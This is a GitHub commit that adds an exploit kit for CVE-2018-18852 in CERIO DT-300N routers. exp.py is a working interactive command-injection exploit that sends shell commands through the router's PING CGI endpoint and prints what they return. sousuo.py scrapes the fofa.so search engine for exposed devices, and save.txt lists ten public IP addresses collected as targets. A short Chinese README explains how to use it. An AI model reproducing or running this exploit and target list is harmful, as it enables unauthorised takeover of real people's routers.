Skip to content

Commit d99aa35

Browse files
jiushilljiushill
authored
Add files via upload
1 parent 8bcccc3 commit d99aa35

4 files changed

Lines changed: 138 additions & 0 deletions

File tree

‎CVE-2018-18852/README.md‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
如果你想获取测试IP：直接执行sousuo.py，他会从fofa.so抓取1页的IP
2+
3+
漏洞利用：
4+
``````
5+
python3 exp.py
6+
填入漏洞的IP
7+
8+
端口
9+
10+
账户
11+
``````

‎CVE-2018-18852/exp.py‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
#author:九世
2+
#time:2019/1/30
3+
4+
import requests
5+
import json
6+
import base64
7+
8+
class Demo:
9+
def __init__(self,headers,url,payload,url2):
10+
self.headers=headers
11+
self.url=url
12+
self.payload=payload
13+
self.url2=url2
14+
15+
def requet(self):
16+
ver = 'DT-300N-NGS-M'
17+
ver2='DT-300N'
18+
version=''
19+
vurl=''
20+
rqt=requests.post(url=self.url,headers=self.headers,data=self.payload)
21+
nurl=''
22+
nersion=''
23+
if rqt.status_code==requests.codes.ok:
24+
print('[+] Router version number is {}'.format(ver))
25+
while True:
26+
rqt = requests.post(url=self.url, headers=self.headers, data=self.payload)
27+
nurl+=rqt.url
28+
nersion+=ver
29+
nary=json.loads(rqt.content)
30+
cmd = input('command：')
31+
payload = {'ip': '127.0.0.1;' + 'echo "[[[";' + cmd, 'pid': nary['pid'], 'Times': 1}
32+
self.command(self.url, headers, payload,nersion)
33+
34+
elif rqt.status_code==requests.codes.not_found: #判断状态码是否为404
35+
print('[-] Router version number is not {}'.format(ver))
36+
rqts=requests.post(url=self.url2,headers=headers,data=self.payload)
37+
if rqts.status_code==requests.codes.ok:
38+
print('[+] Router version number is {}'.format(ver2))
39+
while True:
40+
rqts = requests.post(url=self.url2, headers=headers, data=self.payload)
41+
version+=ver2
42+
vurl+=rqts.url
43+
vary=json.loads(rqts.content)
44+
cmd=input('command：')
45+
payload = {'ip': '127.0.0.1;' + 'echo "[[[";' + cmd, 'pid': vary, 'Times': 1}
46+
self.command(self.url2,headers,payload,version)
47+
elif rqts.status_code==requests.codes.not_found:
48+
print('[-] Router version number is not {}'.format(ver2))
49+
exit()
50+
elif rqts.status_code==requests.codes.unauthorized:
51+
print('[-] Auth is invalid, try other creds')
52+
exit()
53+
54+
def command(self,url,header,data,ver):
55+
rsv=requests.post(url=url,headers=header,data=data)
56+
if ver=='DT-300N':
57+
print(rsv.text.split('/html')[1])
58+
else:
59+
print(rsv.text.split('[[[')[1])
60+
if __name__ == '__main__':
61+
print('[&] The version of CERIO that is vulnerable is as follows')
62+
print('[!] CERIO DT-300N-NGS-M\n[!] CERIO DT-300N')
63+
print('')
64+
t=''
65+
path='/cgi-bin/main.cgi?cgi=PING&mode=9'
66+
path2='/cgi-bin/Save.cgi?cgi=PING'
67+
user=input('host:').strip()
68+
ports=input('port:').strip()
69+
username=input('creds:').strip()
70+
creds=bytes(base64.b64encode(bytes(username,encoding='utf-8'))).decode('utf-8')
71+
if ports in '443':
72+
t+='https://'
73+
else:
74+
t+='http://'
75+
76+
77+
urls=t+user+':'+ports+path
78+
urls2=t+user+':'+ports+path2
79+
payload={'cgi':'PING','mode':9}
80+
headers={'content-type': 'application/json', 'Host': user, 'Accept-Encoding': 'gzip, deflate','Content-Length': '0', 'Connection': 'keep-alive', 'Authorization': 'Basic {}'.format(creds)}
81+
obj=Demo(headers=headers,payload=payload,url=urls,url2=urls2)
82+
obj.requet()

‎CVE-2018-18852/save.txt‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
1.173.33.86
2+
36.233.167.168
3+
61.227.186.39
4+
36.234.145.128
5+
1.175.130.77
6+
61.223.178.171
7+
1.175.58.177
8+
36.224.215.199
9+
118.165.7.180
10+
219.86.30.66

‎CVE-2018-18852/sousuo.py‎

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
#author:九世
2+
#time:2019/1/29
3+
4+
import requests
5+
import os
6+
import re
7+
from bs4 import *
8+
9+
10+
xj=open('save.txt','w')
11+
xj.close()
12+
13+
class Fofa:
14+
def __init__(self,headers,url):
15+
self.headers=headers
16+
self.url=url
17+
18+
def requet(self):
19+
try:
20+
rqt=requests.get(url=self.url,headers=self.headers)
21+
zz=re.findall('<a target="_blank" href=".*">.* <i class="fa fa-link"></i></a>',rqt.text)
22+
for z in zz:
23+
href=BeautifulSoup(str(z),'html.parser')
24+
for q in href.find_all('a'):
25+
host=q.get('href')
26+
print('[+]IP:'+str(host).replace('http://','').replace('https://','').lstrip())
27+
print(str(host).replace('http://', '').replace('https://', '').lstrip(),file=open('save.txt','a'))
28+
except Exception as r:
29+
print('[!] Error {}'.format(r))
30+
31+
if __name__ == '__main__':
32+
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}
33+
url='https://fofa.so/result?qbase64=YXBwPSJjZXJpb19EVDMwME4i'
34+
obj=Fofa(headers=headers,url=url)
35+
obj.requet()

0 commit comments

Comments
 (0)